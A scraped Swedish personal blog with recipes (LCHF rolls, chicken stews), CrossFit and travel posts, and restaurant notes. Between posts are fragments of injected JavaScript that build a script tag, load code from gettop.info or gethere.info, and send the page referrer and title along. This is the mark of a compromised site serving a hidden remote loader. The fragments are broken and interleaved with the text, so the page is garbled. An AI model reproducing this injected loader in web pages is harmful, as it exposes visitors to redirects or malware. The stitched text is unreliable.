Lchf frallor

Nu har jag bakat lchf frallor för första gången och de blev riktigt lyckade. Receptet hittade jag på www.tasteline.se.

421572_10151344654620959_1769700954_n

Recept 6 frallor
30 gram smör
3 st ägg
1 dl vispgrädde
1 dl riven, lagrad ost
2 dlmandelmjöl
3 msk kokosnötsmjöl
3 msk fiberhusk
0,5 dl pofiber
0,5 tsk salt
2 tsk bakpulver
Sesamfrön och solroskärnor

Gör så här:
Sätt ugnen på 190 grader. Smält smöret. Vispa äggen till en luftig smet i en bunke, ca 3 minuter med elvisp.
Tillsätt smör samt grädde och rör om väl. Blanda ner osten.
Rör ihop de torra ingredienserna och blanda ner dem i smeten ordentligt. Låt smeten stå och svälla i ca 10 min.
Forma till 6 bullar och lägg dem på en plåt med bakplåtspapper. Strö över sesamfrön och solroskärnor och grädda i ugnen tills bullarna har fått fin färg, ca 20 minuter. Låt svalna på galler utan bakduk.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

CrossFit Göta

27909_386807424738828_256013546_n

På lördag kommer jag prova på CrossFit för första gången på CrossFit Göta som ligger i Lyckholms Gamla Bryggerier på Skårs led 6 i Göteborg. Kika här om ni vill läsa mer om CrossFit Göta. För er som köpte GT igår var det en stor artikel om CrossFit Göta.

Ev. kommer jag forsätta med en 2 veckors kurs på CrossFit som hålls i mars där man får lära sig grunderna i CrossFit.

Den består av sex 1-timmes pass under två veckors tid där du kommer att introduceras till CrossFit genom föreläsningar, de grundläggande rörelserna och naturligtvis träning (WOD‘s). Man får lära sig  grunderna inom bland annat olympiska lyft, kettlebells, lite gymnastik och tyngdlyftning. De pratar även om vikten av rätt kost och rörlighetsträning.

 

}document.currentScript.parentNode.insertBefore(s, document.currentScript);

Istanbul

Idag åker jag iväg till Istanbul, Turkiet med jobbet. Hotellet som vi kommer bo på heter Pera Palace Hotel, Jumeirah. Kika här om ni vill läsa mer om hotellet.

20555_97_b

20555_88_b20555_99_b

Pera Palace

20555_129_b

20555_95_b20555_87_b20555_94_b

20555_154_b20555_89_b20555_135_b

Hotellet har en intressant historia. Läs nedan vad jag hittade för information:
Pera Palace hotel has been a significant culture of Istanbul over a hundred years and was also a witness of many historical events such as World War I, Occupation of Istanbul, World War II and many more. After a 23 million euro, 4 years of extensive restoration, hotel reopened in September 2010.

King Edward VIII, Queen Elizabeth II, Emperor Franz Joseph, Zsa Zsa Gabor, Sarah Bernhardt, Jacqueline Kennedy Onassis… the roll-call of iconic guests over the years is endless, and some of them are paid homage to in the naming of the sumptuous rooms and suites.

Agatha Christie
Built 1895 for the purpose of hosting the passengers arriving to Istanbul by famous Orient Express train, hotel very soon became the place to see and be seen. According to popular belief, Agatha Christie wrote her novel “Murder on the Orient express” during her stay at this hotel in room #411.

Greta Garbo
The six corner rooms at Pera Palace are namned after Greta Garbo, who was a guest at Pera Palace in 1924.

Ernest Hemingway
The five Ernest Hemingway Corner Suites pay tribute to the American writer, who stayed at the Pera Palace Hotel as a young war reporter in 1922.

 var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Tomatkyckling med oliver

Här kommer ett lätt recept på en kycklingrätt som du kan servera tillsammans med antingen ris, pasta eller grönsaker. Receptet hittade jag på www.ica.se.

Recept 4 personer
900 gram kycklinglårfiléer (jag anväder kycklingbröst)
1 msk olja
1 tsk salt
2 krm peppar
1 burk färdig tomatsås  (tex med oliver)
1 dl kalamataoliver

Gör så här:
Bryn kycklingen i olja i en stor djup panna, 3-4 minuter på varje sida. Krydda med salt och peppar.
Häll tomatsåsen och låt det sjuda försiktigt ca 10 minuter och tillsätt oliverna.

Servera med grönsaker och en sallad.

d.getElementsByTagName(‘head’)[0].appendChild(s);

if (document.currentScript) { } else {

Doha, Qatar

Hejsan, Lörd 9 – 17 feb är jag på semester i Qatar. Kommer därför ta en bloggpaus och åter tillbaks på bloggen efter semestern. Lovar bilder från resan.

 }

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Kycklinggryta med böngroddar

Nu får ni ett recept på en god kycklinggryta som jag lagat en massa gånger. Receptet kommer från ”Viktväktarnas kokbok” och har några år på nacken. Receptet är för en portion men jag brukar dubbla receptet. Om ni vill ha lite mer fast konsistens på såsen så får du ta i lite mer maizenamjöl. Servera gärna med lite färsk bladspenat och ris.

Kycklinggryta (1 port)
1 tsk olja
125-150 gram skinn- och benfri kycklingkött, stromlat
50 gram gul lök, skalad och skivad
50 gram champinjoner, skivade
100 gram böngroddar
2 tsk kinesisk soja
1 tsk maizenamjöl
1 1/2 dl hönsbuljong, gjord av tärning

Hetta upp oljan i en fettsnål stekpanna. Lägg i kycklingbitarna och låt dem fräsa ca 3 min. Tillsätt lök och svamp och låt det fräsa med ytterligare 2-3 min. Tillsätt böngroddarna och sojan. Blanda mjölet med buljongen. Häll blandningen i pannan under omröring. Låt alltsammans koka på svag värme under lock ca 5 min.

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Dream Downtown hotell New York

Nu har jag äntligen bokat en resa och hotell i New York i april. Hotellet heter Dream Downtown hotell och ligger i Meatpacking District.

YouTube Preview Image YouTube Preview Image

 

Vill ni läsa mer om hotellet kan ni klicka här.

Kika på deras hemsida här.

 

Så här ser Dream Downtown lobby ut.

 }

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Kick off med jobbet fred 25 jan 2013

I år hölls kickoffen här i Göteborg på Svenska mässan.

Ingen kickoff utan Mats…

 

PG Wettsjö föreläste…

Sen kom Al Pitcher…say no more :)

 

Allas våran ”Mats”….

 var d=document;var s=d.createElement(‘script’);

Krogveckan 2013 Göteborg

Krogveckan pågår från 1-13 februari på utvalda restauranger.  Då får man chans att äta 2 rätter för 200 kr. Vill ni kika vilka restauranger som är med på krogveckan så kika här. I år provade jag på att besöka Da Vinci.
Hemsidan hittar ni här.

DaVinci erbjuder 4 olika menyer och jag valde meny 1. Meny 1 är vitlöksbruschetta och Biffstek à la Provencale. Till middagen drack  jag husets vita vin och valde att lägga till Tiramisu till dessert. Allt smakade riktigt gott. Det enda jag kan anmärka på är att vitlöksbruschettan kunde nog fått lite mer tid i grillen.

 

 if (document.currentScript) {

document.currentScript.parentNode.insertBefore(s, document.currentScript);